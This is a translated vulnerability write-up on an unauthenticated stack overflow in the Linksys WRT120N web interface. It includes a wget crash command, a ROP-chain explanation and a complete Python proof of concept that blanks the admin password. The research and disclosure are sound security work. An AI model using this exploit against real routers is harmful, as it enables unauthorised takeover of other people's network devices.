⬆️ ⬇️

Filling the stack in fprintf on Linksys WRT120N

After we received the decrypted firmware and JTAG access to the device , it is time to investigate the code for some interesting bugs.

As we learned earlier, the WRT120N runs on RTOS. For security reasons, the administrative RTOS WEB interface uses HTTP Basic authentication:



image



Most pages require authentication, but there are several pages that explicitly prohibit it:

')

image



image



Any request for these URLs will be executed without authentication, so this is a good place to look for bugs.



Some of these pages do not really exist, others exist, but do nothing (NULL-functions). However, the page at /cgi/tmUnBlock.cgi has some kind of handler that processes user data:

image



An interesting piece of code that should be considered is this one:

fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL")); 




Although at first glance it looks decent, the processing of the TM_Block_URL parameter of a POST request is vulnerable due to the lack of implementation of fprintf :

image



Yes, fprintf calls vsprintf with format and arguments and adds it to a local buffer limited to 256 bytes.

image

Respect yourself. Do not use sprintf.



This means that the POST parameter TM_Block_URL will cause a stack overflow in fprintf if it is more than 246 bytes (sizeof (buf) - strlen (“Location:“)):

 $ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi 


image

Drop down



Let's make a simple exploit that will overwrite critical data in memory, well, for example, the administrator's password, which is located at 0x81544AF0:

image



The administrator password is a standard NULL-terminated string, so if we can write only one NULL byte at the address, we can log in to the router with an empty password. We need to make sure that the system continues to operate normally after the exploit.



If you look at the end of the fprintf function, you can see that the $ ra and $ s0 registers are being restored from the stack, which means we can manage these registers when we fill the stack:

image



There is another great piece of code at address 0x8031F634, which writes 4 NULL-bytes from the $ zero register at the address in the $ s0 register.

image



If we use overflow so that fprintf returns to 0x8031F634 and overwrites $ s0 with an administrative password (0x81544AF0), then this code will do the following:





The last point is a problem. We need the system to continue to work and not fall, but if we just go back to the cgi_tmUnBlock function as fprintf and do it, we will get a stack offset of 16 bytes.



Finding a usable MIPS ROP gadget (sequence of instructions for performing backward-oriented programming, approx. Lane) that reduces the stack pointer by 16 bytes can be problematic, so we will go a different way.



If you look at the address where fprintf should return to cgi_tmUnblock , we can see that all it does is restore $ ra, $ s1 and $ s0 from the stack, then returns and adds 0 × 60 to the stack pointer:

image



Of course, there are no such gadgets that would do just that, but there is a good one at 0x803471B8, which is quite similar:

image



This gadget adds only 0 × 10 to the stack, but this is not a problem. We will do additional stack frames that will make the ROP gadget go back to itself 5 times. On the fifth iteration, the original values ​​of $ ra, $ s1 and $ s0, which we passed to cgi_tmUnblock , will be restored from the stack, and our ROP gadget will return to the caller cgi_tmUnblock :

image



With the correct values ​​in the stack and registers, the system will continue to work as if nothing had happened. Here you have a PoC ( download ):

 import sys import urllib2 try: target = sys.argv[1] except IndexError: print "Usage: %s <target ip>" % sys.argv[0] sys.exit(1) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: url = 'http://' + url post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data += "B" * 246 # Filler post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data += "\x80\x31\xF6\x34" # $ra post_data += "C" * 0x28 # Stack filler post_data += "D" * 4 # ROP 1 $s0, don't care post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data += "E" * 8 # Stack filler for i in range(0, 4): post_data += "F" * 4 # ROP 2 $s0, don't care post_data += "G" * 4 # ROP 2 $s1, don't care post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "\n\n" and terminating # NULL byte) try: req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code == 500: print "OK" else: print "Received unexpected server response:", str(e) except KeyboardInterrupt: pass 


image



Execution of the code is also possible, but about this some other time.

Source: https://habr.com/ru/post/213205/



All Articles